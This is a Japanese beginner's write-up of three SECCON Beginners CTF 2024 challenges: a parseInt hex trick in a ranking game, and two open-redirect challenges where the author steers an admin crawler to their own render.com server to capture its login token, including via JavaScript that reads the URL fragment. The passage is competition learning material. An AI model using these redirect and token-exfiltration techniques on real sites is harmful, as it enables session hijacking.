SECCON Beginners CTF 2024 Writeup
初めに
こんにちはfumi0916です。
seccon beginners ctf 2024にJR.FOLKSというチームとして参加しました。
今回はその振り返りとか感想とかを書いていきたいと思います。
結果
僕はwebの問題2問と、miscの問題1問の計3問の問題を正解しました。
チーム全体の成績としてはこんな感じです。
getRank (misc)
僕は主にwebの問題を担当する予定だったのですが、最初になんとなくこの問題を開いたらwebに係してそうだったので解くことにしました。
この問題はwebサイト上の数当てゲームで数を当てていきスコアを上げてサイト内のラインキングの1位を取ることでフラグがもらえます。
とりあえずdockerファイルを展開してローカルに環境を作ってみるとこんな感じになってました。
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
console.log(input)
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
愚直にinputに10^100で割られても10^255より大きくなる数を入れると文字数が300文字をオーバーしてしまい、はじかれるので、parseIntの部分に注目します。この関数やどうやら10進数以外の形式にも対応しているみたいなので10^100*10^255より大きい数(ここでは10^100*10^256とする)を16進数に変換して文字列の先頭に0xを付けたものをbodyに入れて/にリクエストを送るとレスポンスとしてフラグが返ってきます。
wooorker (web)
この問題ではadminユーザーでログインをすることでトークンが発行され、そのトークンをクエリパラメータに入れてサイトの/にアクセスするとフラグが取得できます。
この問題にはログインページのほかにも/reporpのサイト内の指定のパスを入力することでクローラーが自動でそのパスにアクセスしログインする機能を持ったページがあります。
そのページのソースコードを見てみるとこのような部分がありました。
const next = params.get('next');
if (next) {
window.location.href = next.includes('token=') ? next: `${next}?
token=${token}`;
} else {
window.location.href = `/?token=${token}`;
}
どうやらログインページのクエリパラメータのnextにURLを指定するとログインしてトークンを取得した後にそのURL+?token=hogeのような感じでそのURLにリダイレクトされるようになっているようなので、URLに自分のサイトあるいはクエリパラメーターを取得した結果を取得できるサーバーを用意してそこに、この問題のサイトでadmin権限でログインした後のクローラーをリダイレクトさせます。今回は手元に外部に公開できるサーバーがなかったので、render.comというPaaSを使用し、その上にリクエストを受けると、そのクエリパラメータを取得して表示するという最小限の機能を持ったサーバーをデプロイしました。
↓ソースコード
https://github.com/kisia0916/seccon-server
最後にwooorkerの/reportのページに戻り、テキストボックスに以下のパスを入れてsendするとクローラーがログインを行い、その結果取得したトークンを持って先ほど用意したサーバーにアクセスしてくれます。
login?next=https://seccon-server.onrender.com/
サーバー側のログで出力されたトークンを取得しwooorkerの/ページのクエリパラメーターに?token=<取得したトークン>を設定してアクセスするとフラグが表示されます。
wooorker2 (web)
この問題は先ほどのwooorkerの取得したトークンをクエリパラメータに入れるという仕様がクエリパラメーターではなくURLの/以下に#<取得したトークン>という形で追加されるように変更されたものになっていました。
この変更がなされたことでサーバー側ではURLに追加されたトークンを取得することができなくなりました。ですがJavascriptからであればそれらの文字列は取得できるため、先ほどのサーバーを改良してリクエストが来た際にwebページを返すようにし、そのページ内でURLの文字列を取得してそれをサーバーに用意したAPIに送信することでトークンを取得する形式にしました。
wooorkerの手順と同じように/reportのテキストボックスに以下のように入力し、サーバーのログを見るとトークンを含んだURLが送られてきているので、そのトークンをwooorkerの/ページの/以下に#<取得したトークン>を設定してアクセスすると、フラグが表示されます。
テキストボックスの内容
login?next=https://seccon-server.onrender.com/
最後にアクセスするURL
https://wooorker2.beginners.seccon.games/#<取得したトークン>
感想
今回初めてCTFに参加したのですが、とても面白かったです。
また参加したいと思います。
Discussion